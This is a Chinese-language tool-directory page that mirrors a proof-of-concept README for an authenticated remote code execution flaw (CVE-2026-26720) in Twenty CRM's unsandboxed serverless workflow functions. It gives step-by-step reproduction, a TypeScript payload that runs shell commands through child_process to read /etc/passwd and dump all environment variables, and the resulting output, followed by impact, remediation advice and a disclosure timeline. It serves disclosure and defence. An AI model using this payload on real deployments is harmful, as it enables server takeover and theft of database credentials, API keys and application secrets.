Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-26720-Twenty-RCE — 概念验证:通过未沙箱化的无服务器工作流函数,在 Twenty CRM 中实现认证远程代码执行,允许任意 Node.js 命令执行及环境变量泄露。 | Kitploit
工具/GitHubGitHub/dillonkirsch/cve-2026-26720-twenty-rce
漏洞分析代码分析漏洞利用Web应用程序漏洞利用云安全错误配置
GitHubdillonkirsch/cve-2026-26720-twenty-rce

CVE-2026-26720-Twenty-RCE

概念验证:通过未沙箱化的无服务器工作流函数,在 Twenty CRM 中实现认证远程代码执行,允许任意 Node.js 命令执行及环境变量泄露。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
68个月前尚未审核
分享

Twenty CRM - 已认证远程代码执行(RCE)

概述

产品: Twenty CRM

漏洞: 通过无服务器工作流函数实现远程代码执行(RCE)

严重性: 严重

受影响组件: 工作流自动化(代码 - 无服务器函数)

测试版本: v1.15.0

本仓库记录了 Twenty CRM 工作流引擎中的一个严重漏洞。“代码 - 无服务器函数”组件允许已认证用户执行任意 Node.js 代码。由于缺乏沙箱隔离,攻击者可以导入 child_process 模块并在宿主服务器上执行系统级命令。

漏洞详情

该应用允许用户创建包含代码执行步骤的自定义自动化工作流。虽然此功能旨在用于数据处理,但执行环境并未正确限制对 Node.js 内置模块或底层操作系统的访问。

攻击者可以利用 child_process 库中的 execSync 来:

  1. 执行 shell 命令(例如 cat、ls、whoami)。
  2. 从文件系统读取敏感文件(例如 /etc/passwd)。
  3. 转储环境变量(process.env),从而泄露数据库凭据、API 密钥和应用机密信息。

概念验证(PoC)

复现步骤

  1. 登录 Twenty CRM。
  2. 导航至 设置 > 工作流。
  3. 创建一个带有 手动触发 的新工作流。
  4. 添加一个操作:代码 - 无服务器函数。
  5. 将以下 TypeScript 载荷粘贴到代码编辑器中:
root@kitploit:~
import { execSync } from 'child_process';

export const main = async (params: any): Promise<object> => {
  try {
    // 1. 远程命令执行:读取系统用户
    const output = execSync('cat /etc/passwd').toString();
    
    // 2. 信息泄露:转储所有环境变量(机密信息)
    const secrets = JSON.stringify(process.env);
    
    return { 
      data: output, 
      secrets: secrets 
    };
  } catch (e: any) {
    return { error: e.message };
  }
};

  1. 保存并运行该工作流。

代码概览

观察到的输出

该工作流成功执行并返回系统数据。

系统文件访问(/etc/passwd):

root@kitploit:~
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
postgres:x:70:70:PostgreSQL user:/var/lib/postgresql:/bin/sh
...

泄露的环境变量: process.env 转储揭示了关键配置信息:

  • PG_DATABASE_URL(数据库凭据)
  • APP_SECRET(签名密钥)
  • REDIS_URL
  • AWS_ACCESS_KEY(如果已配置)

影响

该漏洞允许已认证用户(具有创建工作流权限)实现 完全系统入侵。

  • 机密性: 攻击者可以读取数据库和文件系统中的所有数据。
  • 完整性: 攻击者可以修改应用程序代码、删除数据或注入恶意软件。
  • 可用性: 攻击者可以关闭服务器或耗尽所有资源。

修复建议

要解决此问题,“无服务器函数”功能需要适当的隔离。

  • 实施沙箱隔离: 代码应在受限环境中执行(例如 VM2 沙箱、无网络/卷访问权限的专用 Docker 容器,或 Firecracker 等微型虚拟机)。
  • 限制模块: 禁用对敏感 Node.js 模块(如 child_process、fs 和 net)的访问。
  • 环境变量清理: 确保执行上下文不会继承父进程的环境变量(其中包含应用的机密信息)。

时间线

  • 2026 年 1 月 8 日: 发现漏洞。
  • [日期]: 已报告给 Twenty CRM 安全团队。
  • [状态]: 等待补丁。
下载工具